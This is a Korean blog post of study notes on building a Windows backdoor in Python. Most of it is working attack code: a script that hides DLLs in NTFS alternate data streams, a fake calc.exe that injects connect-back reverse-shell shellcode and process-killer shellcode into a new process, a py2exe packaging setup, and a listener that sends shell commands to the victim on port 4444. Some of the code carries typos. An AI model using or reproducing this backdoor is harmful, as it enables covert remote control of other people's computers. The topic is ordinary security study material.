본문 바로가기
파이썬 스터디 과제/파이썬 해킹 프로그래밍

7장-DLL과 코드 인젝션-3 (백도어 제작)

by laoching 2015. 1. 31.
728x90
반응형

백도어는 시스템의 권한을 획득하는 데 사용될 수 있는 것이다.

프로세스를 종료시키는 것은 백도어의 핵심 기능이다.


파일 숨기기

NTFS 파일 시스템의 ADS를 이용하면 실행 바이너리에 파일을 은닉시키는 것이 가능하다.

ADS는 애플의 HFS파일 시스템과의 호환성을 위해 Windows NT 3.1 부터 지원됐다.

ADS를 이용해 디스크네 있는 기존 파일에 alternate stream 형태로 해당 파일에 DLL을 붙일 수 있다.

ADS 스트림 파일은 특별한 파일이 아니라 단지 은닉되지 않은 기존파일에 붙여서 보이지 않게 숨겨진 파일이다.

http://forensic-proof.com/archives/427

이 링크를 참조하면 NTFS에대한 정보가 나온다.

ADS 파일을 이용하려면 기존에 존재하는 파일 이름에 콜론을 포함한 파일 이름을 붙이면 된다.

----------------------------------------------------------------------------

reverser.exe:vncdll.dll

----------------------------------------------------------------------------

위 경우는 reverser.exe 파일에 vncdll.dll 파일이 ADS 파일로 저장된 경우다.

파일 내용을 읽어 그것을 선택할 파일의 ADS 파일로 저장하는 간단한 유틸리티 스크립트를 만들어 보자.

file_hider.py

----------------------------------------------------------------------------

import sys

fd = open(sys.argv[1], "rb")
dll_contents = fd.read()
fd.close()
print "[*] filesize : %d" % len(dll_contents)

fd=open("%s:%s" % ( sys.argv[2], sys.argv[1]), "wb")
fd.write(dll_contents)
fd.close()

------------------------------------------------------------------------------------

첫 번째 커맨드라인 인자에는 읽을 DLL을, 두 번째 인자에는 ADS 파일을 만들 대상 파일의 경로를 전달한다.


백도어 코딩

먼저 백도어의 execution redirection 기능을 구현해보자.

백도어의 이름을 calc.exe로 명명하고 원래의 calc.exe를 다른 위치로 이동시킨 후 백도어가 이동시킨 calc.exe를 실행시키기 때문에 execution redirection이라고 부른다.

my_debuger_defines.py를 이용한다.


backdoor.py

------------------------------------------------------------------------------------

import sys
from ctypes import *

from my_debugger_defines import *

kernel32                    = windll.kernel32

PAGE_EXECUTE_READWRITE        = 0x00000000
PROCESS_ALL_ACCESS            = ( 0x000F0000 | 0x00100000 | 0xFFF)
VIRTUAL_MEM                    = ( 0x1000 | 0x2000)

path_to_exe                    = "C:\\calc.exe"

startupinfo                    = STARTUPINFO()
process_information            = PROCESS_INFORMATION()
creation_flags                = CREATE_NEW_CONSOLE
startupinfo.dwFlags            = 0x1
startupinfo.wShowWindow        = 0x0
startupinfo.cb                = sizeof(startupinfo)


kernel32.CreateProessA(path_to_exe,
    None,
    None,
    None,
    None,
    creation_flags,
    None,
    None,
    byref(startupinfo),
    byref(process_information))

pid = process_information.dwProcessId

------------------------------------------------------------------------------------

+

인젝션 기능 + 프로세스를 종료시키는 셸 코드


------------------------------------------------------------------------------------

import sys

from ctypes import *

from my_debugger_defines import *

kernel32 = windll.kernel32

PAGE_READWRITE = 0x04

PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )

VIRTUAL_MEM = ( 0x1000 | 0x2000 )
path_to_exe = "C:\\calc.exe"
startupinfo = STARTUPINFO()
process_information = PROCESS_INFORMATION()
creation_flags = CREATE_NEW_CONSOLE
startupinfo.dwFlags = 0x1
startupinfo.wShowWindow = 0x0
startupinfo.cb = sizeof(startupinfo)
kernel32.CreateProcessA(path_to_exe,   
    None,
    None,
    None,
    None,
    creation_flags,
    None,
    None,
    byref(startupinfo),
    byref(process_information))
pid = process_information.dwProcessId

def inject( pid, data, parameter = 0 ):
    h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) )
    if not h_process:
        print "[*] Couldn't acquire a handle to PID: %s" % pid
        sys.exit(0)

    arg_address = kernel32.VirtualAllocEx( h_process, 0, len(data), VIRTUAL_MEM, PAGE_READWRITE)
    written = c_int(0)
    kernel32.WriteProcessMemory(h_process, arg_address, data, len(data), byref(written))

    thread_id = c_ulong(0)

    if not parameter:
        start_address = arg_address
    else:
        h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
        start_address = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA")
        parameter = arg_address
   
    if not kernel32.CreateRemoteThread(h_process,None,0,start_address,parameter,0,byref(thread_id)):
        print "[*] Failed to inject the DLL. Exiting."
        sys.exit(0)

    return True
connect_back_shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" \
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" \
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" \
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" \
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" \
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" \
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" \
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" \
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" \
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68" \
"\xc0\xa8\xf4\x01\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xec\xf9" \
"\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68" \
"\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3" \
"\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" \
"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51" \
"\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6" \
"\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6" \
"\xff\x77\xfc\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0"
inject( pid, connect_back_shellcode )

our_pid = str( kernel32.GetCurrentProcessId() )

process_killer_shellcode = \
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \
"\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \
"\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00"

padding = 4 - ( len( our_pid ))
replace_value = our_pid + ( "\x00" * padding )
replace_string= "\x41" * 4
process_killer_shellcode = process_killer_shellcode.replace( replace_string, replace_value )

inject( our_pid, process_killer_shellcode )

------------------------------------------------------------------------------------

새로 생성한 프로세스에 셸 코드를 인젝션하고 백도어 프로세스를 종료시킨다.


py2exe로 컴파일 하기

py2exe라는 파이썬 라이브러리를 이용하면 파이썬 스크립트를 완전한 윈도우 실행 바이너리로 컴파일할 수 있다.

http://sourceforge.not/project/showfiles.php?group_id=15583

py2exe 다운링크


setup.py를 만들어 실행 바이너리를 어떻게 빌드할 것인지를 정의한다.

------------------------------------------------------------------------------------

from distutils.core import setup
import py2exe

setup(console=['backdoor.py'],
    options = {'py2exe' : {'bundle_files' : 1}},
    zipfile = None,)

------------------------------------------------------------------------------------

코드는 아주 간단하다.

py2exe를 이용하면 백도어의 이동성이 향상된다고 한다.

백도어의 이동성이 무엇을 의미할까?


backdoor_shell.py

------------------------------------------------------------------------------------

import socket
import sys

host = "192.168.244.1"
port = 4444

server = socket.socket( socket.AF_INET, socket.SOCK_STREAM )

server.bind( ( host, port ) )
server.listen( 5 )

print "[*] Server bound to %s:%d" % ( host , port )
connected = False
while 1:

    if not connected:
        (client, address) = server.accept()
        connected = True
    print "[*] Accepted Shell Connection"
    buffer = ""
   
    while 1:
        try:
            recv_buffer = client.recv(4096)

            print "[*] Received: %s" % recv_buffer
            if not len(recv_buffer):
                break
            else:
                buffer += recv_buffer
        except:
            break

    command = raw_input("Enter Command> ")
    client.sendall( command + "\r\n\r\n" )
    print "[*] Sent => %s" % command

------------------------------------------------------------------------------------

위 코드는 소켓 연결을 받아들이고 기본적인 데이터 송수신 기능을 수행하는 매우 간단한 소켓 서버다.

728x90
반응형

댓글